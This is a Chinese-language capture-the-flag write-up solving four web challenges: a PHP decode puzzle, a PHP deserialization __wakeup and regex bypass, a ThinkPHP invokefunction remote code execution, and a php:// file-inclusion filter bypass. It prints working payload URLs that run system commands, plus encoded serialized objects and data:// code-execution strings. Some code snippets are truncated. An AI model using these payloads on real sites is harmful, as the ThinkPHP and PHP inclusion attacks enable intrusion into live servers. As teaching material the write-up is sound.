
一:WEB 2
打开是一个 php 代码

代码审计
**1.首先给了一段密文也就是需要解密的 flag
2.然后对传进来的 str 进行字符串反转($_o)
3.进入 for 循环,首先截取一个字符 (赋值给$c),将这个字符转换为 ascii 值进行 +1(赋值给$)然后将 +1 后的 ascii 在转换为字符 (赋值给$_c) 输出最后进行拼接(例如先将 abc 变为 cba 然后再加 1 最后拼接就是 dbc)
4.对$_进行 base64 编码然后再反转最后进行 rot13 转换**
解密只需要将如上倒过来即可
先进行 rot13 转化然后进行 strrev 反转在进行 base64 解码将解码后的结果进行截取对其 ascii 减 1 后转换为字符最后拼接完再反转即可得到 flag

解密代码如下
<?php $miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$step1 = str_rot13($miwen);
$step2 = strrev($step1);
$step3 = base64_decode($step2);
$decrypted = "";
for ($i = 0; $i < strlen($step3); $i++) {
$char = substr($step3, $i, 1);
$decrypted .= chr(ord($char) - 1);
}
$flag = strrev($decrypted);
echo $flag;
?>
二:Web_php_unserialize
打开为如下所示,是一个反序列化的题目

进行代码审计
**首先定义一个 demo 的类,并且定义一个私有属性初始值为 index.php,
然后又声明了两个个函数,$file 是用于接收外部传入的文件路径,
__construct:对变量进行赋初始值也就是 index.php
_destruct:在程序结束时以高亮输出
在往下下看它提示我们 flag 在 fl4g.php 中,所以只要我们将 index.php 修改为 fl4g.php 就可以得到 flag**
第二段代码,首先接受一个 var 对其进行 base64 解密然后利用正则表达式对其过滤如果不符合进行反序列化符合的话就输出 stop。
但是这段代码中有两个限制条件那就是__wakeup 和正则表达式 preg_match('/[oc]:\d+:/i'
Wakeup 非常容易绕过那就是属性值大于属性个数 正则该如何绕过
序列化结果如下
O:4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";}

Wakeup 绕过:O:+4:"Demo":2:{s:10:" Demo file";s:8:"fl4g.php";}
正则绕过:O:+4:"Demo":2:{s:10:" Demo file";s:8:"fl4g.php";}
Payload:TzorNDoiRGVtbyI6Mjp7czoxMDoiIERlbW8gZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

但是我们发现输入后没有出现 flag

其实问题在下图所示
Demo 前后有两个空格,那我们加上这两个空格看看能不能拿到 flag

还是什么都没有

只能用如下方法了使用 str_replace 替换方案
最终
payload:?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

成功拿到 flag

解密代码
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') {
$flag=new Demo ('fl4g.php');
$flag =(serialize($flag));
$flag =str_replace('O:4','O:+4',$flag);
$flag =str_replace(':1:',':2:',$flag);
echo base64_encode($flag);
?>
三:php_rce
打开如下图所示,
通过搜索引擎搜索这个框架发现这个框架的漏洞就是对控制器名过滤不严,可以通过 url 调用到框架内部的敏感函数,进而导致漏洞。

通过 payload:
/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find%20/%20-name%20"flag"
找到 flag 所在位置

最终 payload:
**/index.php?
s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag**
成功拿到 flag

四:web_php_include
打开如下如所示,这是一道文件包含题目

代码审计
**首先接收一个 page 然后进行 while 循环利用 strstr 函数查看 page 中是否包含 php://
如果包含则将其替换为空
然后退出循环**
**所以如果想拿到 flag 就需要绕过 strstr 函数,它过滤的是 php://
那么利用大小写不就绕过了
构建 payload:?page=Php://input.然后利用爆破执行命令
成功找到 flag 文件**

成功拿到 flag

五:总结
1. WEB 2
题型特征
- 基础类题目,通常考察查看源代码、HTTP 头信息或简单请求操作。
- 可能隐藏 Flag 在 HTML 注释、响应头或通过简单请求触发返回。
解题思路
- 查看页面源代码:按
F12 或右键查看源码,搜索 flag 或 hint,常见于注释中。
- 检查 HTTP 响应头:使用浏览器开发者工具的'网络'标签查看响应头,可能直接包含 Flag。
- 发送特定请求:
- 修改请求方法(GET/POST),如提交参数
?what=flag;
使用 Python 脚本快速发送 POST 请求,示例如下:
import requests
r = requests.post(url, data={'key': 'value'})
print(r.text)
2. Web_php_unserialize
题型特征
- 涉及 PHP 反序列化漏洞,通过构造恶意序列化数据触发魔术方法(如
__destruct)执行命令。
- 需绕过
__wakeup 方法限制及正则过滤。
解题思路
- 绕过
__wakeup:
- 修改序列化字符串中对象属性数量,使其大于实际数量(如将
O:4:"Demo":1: 改为 O:+4:"Demo":2:)。
- 正则过滤绕过:
- 替换
O:4 为 O:+4,利用正则表达式 /[oc]:\d+:/i 不匹配 + 的特性。
- 构造 Payload:
- 示例序列化字符串:
O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";},需进行 Base64 编码后传参。
- 工具辅助生成 Payload,避免手动构造错误。
3. php_rce
题型特征
- 利用框架的远程代码执行漏洞,通过特定路由或参数注入命令。
解题思路
-
Payload 构造:
-
绕过限制:
读取文件:
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
查找 Flag 文件:
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag"
执行系统命令:
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
4. web_php_include
题型特征
- 文件包含漏洞,利用 PHP 伪协议(如
data://、php://input)执行代码。
- 常见过滤场景:替换
php:// 关键字,需绕过协议限制。
解题思路
-
伪协议利用:
-
绕过 php:// 过滤:
- 大小写混淆(如
pHp://)或使用 data://。
-
文件读取:
使用 php://filter 读取源码:
?page=php://filter/convert.base64-encode/resource=index.php
Base64 编码绕过:
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpOw==
执行代码:
?page=data://text/plain,